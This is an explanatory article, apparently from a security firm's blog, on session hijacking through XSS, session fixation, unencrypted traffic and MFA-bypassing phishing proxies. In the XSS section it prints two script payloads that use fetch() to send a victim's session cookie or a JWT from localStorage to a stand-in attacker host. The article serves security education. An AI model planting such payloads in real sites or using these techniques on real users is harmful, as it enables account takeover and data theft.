What is Session Hijacking? Types of attacks and exploitations

Access control is a central element in ensuring the security of web applications. It must be based on robust authentication and session management that takes into account various security risks, such as session hijacking.

XSS exploitation, session fixation, lack of encryption, MFA bypass, etc., there are many techniques to hijack a user’s session. In this article, we present the main attacks and exploits.

What is session hijacking?

Session hijacking consists of stealing access to a platform, without the need to collect the login and password associated with the account.

When a user logs on to a platform, they remain authenticated for a period of time without the need to systematically enter or retransmit their login credentials. This is possible because the server maintains an active session for the user.

To refer to this session, the server gives the user a unique identifier (ID), usually a session cookie, or a bearer token. When the user performs actions on the platform, this ID, stored in his/her browser, will systematically be transmitted to the server so that it can identify the corresponding session. This ID is therefore crucial from a security point of view, as it allows a user to be identified and therefore to access his/her data and the platform’s functions. In other words, it is this ID that authenticates the user without the latter having to provide his identifiers.

Session hijacking therefore consists of stealing this ID in order to take possession of the active session.

What are the most common session hijacking attacks?

There are several attacks that can be used to hijack a user session. In the following chapter, we will see in practice four scenarios that correspond to common cases of session hijacking:

• XSS Exploitation: The XSS vulnerability, which consists of injecting malicious JavaScript code into an application, can be exploited to steal a user’s session ID (their session cookie, token or JWT).
• Session fixation: the session ID provided by the server to identify the user’s session must be random and robust, to prevent it from being guessed via brute force. However, it is sometimes possible to know in advance (before a user is authenticated) the ID that will be assigned to the user’s session after the user logs in. This implementation flaw is called session fixation, because the ID is “fixed” before a session is even attached to it. If an attacker knows of such an ID, he/she can simply wait for a session to be attached to it and hijack it.
• Lack of TLS encryption (HTTPS): when the server does not implement encryption (platform in HTTP rather than HTTPS ), this means that communications between the user and the web platform are transmitted in clear text. An attacker listening in on the network could therefore intercept these communications, and thus collect the users’ session IDs.
• Bypassing MFA: Multifactor authentication (abbreviated to MFA), involves requiring a second (or more) authentication factor when a user logs in. This can be, for example, a code sent by SMS or email. This mechanism is used to prevent an attacker from taking control of a user’s account based solely on the password (in the case of a data leak, for example). If session hijacking allows to get rid of the password, it also has the advantage (for an attacker) of getting rid of the multiple authentication factors. Indeed, when a session is hijacked, it means that the user has completed the authentication phase. In fact, this is used in particular in social engineering attacks, such as phishing, because it becomes possible to collect the users’ session after all authentication factors have been entered.

It should be noted that, depending on the technologies used, the application can be said to be “stateless”. This means that each action carried out on the application is considered independent, as no “state” is kept in memory by the server. In this case, user authentication does not result in the creation of an active session maintained on the server side. Instead of a session identifier, the user receives a token (usually a JWT), the particularity of which is that it contains sufficient information to identify the user at each future request.

Although this is not a session per se, stealing this token is indeed taking possession of the user’s account. The scenarios described in this article are therefore also relevant for this case (excluding “session fixation”).

Session hijacking exploitation scenarios

We will now look at four scenarios that illustrate the examples mentioned in the previous chapter. The first two scenarios involve web vulnerabilities, on different mechanisms (application and session management); the third illustrates a classic attack on an internal network; and the fourth involves a social engineering attack.

Exploiting an application vulnerability to hijack a session: the case of XSS

Cross-Site Scripting (XSS) vulnerabilities are among the most widespread web vulnerabilities. It allows an attacker to inject malicious JavaScript code into an application so that it can be executed by users of the platform without their knowledge.

The most common exploitation of this vulnerability consists in hijacking the targeted user’s session, by stealing the element that identifies his session (his session cookie or token). In concrete terms, this means using javaScript code that has the function of reading this ID and sending it to a third-party site, controlled by the attacker.

In the following scenario, an attacker C has access to a web platform B, from a user account he created on the platform. This platform is vulnerable to an XSS (“stored”), which will be exploited by C.

Indeed, the attacker will insert malicious JavaScript code in a page of the site, which will be executed by all users consulting this page. This code has only one function: to read the session cookie stored in the browser (of the victim, therefore) and send it to a remote (malicious) site.

Typically, the malicious code could be:

<script>fetch("https://MALICIOUS-WEBSITE.evil?data="+document.cookie)</script>

Thus, the attacker can then use the collected cookie, by inserting it into the browser, in order to hijack user A’s session.

However, there is a limit to this type of exploitation. Indeed, session cookies can have security mechanisms that prevent JavaScript code from reading them (“httponly” flag).

However, this is not true when using authentication tokens (e.g. Bearer or JWT) as they are stored in the browser and accessible in JavaScript. This makes functional sense, as they are intended to be inserted into communications via (legitimate) JavaScript code. In fact, there is nothing to prevent the tokens from being exfiltrated on a third-party site in this case.

Here the malicious code would be of the form:

<script>fetch("https://MALICIOUS-WEBSITE.evil?data="+localStorage.getItem('JWT'))</script>

In the same way as with the session cookie, the attacker can then use the token to hijack the user’s session.

Note that this is a case of stored XSS, but other scenarios can occur. For example, a relatively similar session hijacking exploit can be used to gain access to a “private” platform, i.e. one where the attacker does not initially have an account and cannot create one (e.g. reflected XSS).

Exploiting the authentication system to hijack a session: session fixation

As explained earlier, when a user logs on to a platform, for example by entering their email address and password, the server provides them with a unique identifier that refers to their session. It may be possible to know this ID in advance, and thus hijack the user’s session once it is attached.

Here is a scenario based on this mechanism:

Let’s take the case of a coworking space or a meeting room with several workstations. Several people may be using the same workstation, and ultimately the same browser.

In our scenario, several employees use the same computer in a meeting room in succession. These employees can use this computer to log on to the company intranet in order to manage the reservation schedule for the meeting room in question.

The intranet in question is vulnerable to session fixation; the users’ workflow can be summarised as follows:

• When the user opens the intranet page on the browser, a session cookie (for which no session is active) is assigned, if no cookie is already present on the browser. The value of this cookie is considered random and robust.
• The user identifies himself on the intranet using his login details. At this point, the server creates a session on the user’s account, and attaches this session to the previously created cookie. This is a case of session fixation: the user’s session should not be attached to the existing session cookie. A new cookie should be created and the session should be attached to that cookie. This is important, as it ensures that no one could have known the value of this cookie before it was bound to the session.
• The user browses the application as he or she wishes, with the session cookie keeping the user logged in.
• When the user is finished, they leave the application via the “log out” feature, which closes the session and deletes the cookie.

A malicious user C could hijack user A’s session in the following way:

• The attacker loads the intranet page with the meeting room computer. The server then provides him with a new cookie, for which no session is currently active.
• He notes the value of the cookie (accessible in the browser) and leaves the premises (the browser can be closed).
• He waits for another user A to use the computer to connect to the intranet.
• At this point, the attacker C knows the session cookie of user A, as we have seen that it was not changed by the server at the time of the connection.

C can then use the session cookie (e.g. by inserting it into his own browser) to hijack user A’s session.

Session hijacking on an internal network: lack of TLS encryption

In this scenario, the attacker is connected to the same network as other users. Interesting cases are, for example, a temporary visitor to a company’s premises, or the use of shared offices (coworking space).

In this case, let’s say that user A is connected to a web platform that does not implement the HTTPS protocol. This platform B is private and contains confidential company information, such as an intranet or CRM. This platform requires authentication, which is why an attacker C cannot directly access its content.

In the simplest case, authentication is performed using a login/password pair only. In this case, the attacker listening to the network will be able to collect this information, and use it in turn to log in. However, this has several constraints:

• Should be intercepted at the time the user logs in.
• Identification can be more complex: use of MFA or SSO.

Let’s take the case where authentication is delegated to a third party (SSO), i.e. the login and password are never sent directly to the target platform but to another platform which implements TLS. It is therefore not possible in this scenario to intercept the password as it is entered by the user (the communication between A and the SSO server is encrypted).

However, this does not prevent session hijacking: indeed, the user, once authenticated by the SSO, will interact with the site B. This interaction will necessarily involve a means of identifying the user (generally a session token or a cookie provided by the application). Attacker C, by listening to the network, will intercept this ID, and will be able to use it to steal the user’s session, without having to know his identifiers.

Similarly, this method would allow the session to be hijacked even in the event of an MFA, as these protections intervene before the session is hijacked.

For more information on common attacks on an internal network, you can read our article: How to strengthen the security of your network infrastructure to counter the most common attacks?

Session hijacking by social engineering: a case of MFA bypass

The presence of multiple authentication factors can be a thorn in the side of an attacker. Even if the attacker manages to collect the target’s password, he will not be able to log in to his account.

Let’s take the case of a social engineering attack. An email is sent to the target (phishing), with an identity theft on the sender’s email address. The email, which appears to come from the company’s IT department, asks to reconnect to the intranet platform following an update. A link is transmitted in the message, and redirects to a copy of the intranet. This platform, unbeknownst to the victims, will collect the passwords entered in the connection form.

The problem for the attacker is that when he enters the password collected on the real intranet interface, a second authentication factor is requested. One method to avoid this pitfall would be to also intercept the victim’s second authentication factor. For example, the malicious copy could present a second form, asking to enter the code (received by sms for example). This solution has several drawbacks:

• The attacker does not know in advance the presence or form of the 2FA. He cannot therefore predict the second form according to the legitimate platform, unless he has already obtained a password.
• Some factors do not pass directly through the web application, and therefore cannot be intercepted. This is the case for example for notifications sent to a smartphone, which the user has to confirm.
• MFA codes are one-time use, and usually valid for a limited time. If they are intercepted, the attacker must therefore use them very quickly, which requires a certain reactivity/automation.

A preferred alternative for an attacker would be to hijack the users’ session directly, as this allows access without the need to manage authentication factors.

In social engineering attacks, attackers use a proxy server for this purpose. The idea is to put this proxy server “between” the victim and the targeted platform, so that the victim interacts with the proxy server, rather than the platform. In this way, the server has the possibility to intercept the exchanges, and, ultimately, to collect the user’s session ID once the connection is established. Technically, this is not strictly speaking an interception of an exchange intended for the platform (which is not possible because of TLS encryption). Rather, it is a matter of relaying the interactions triggered by the user on the proxy to the legitimate platform.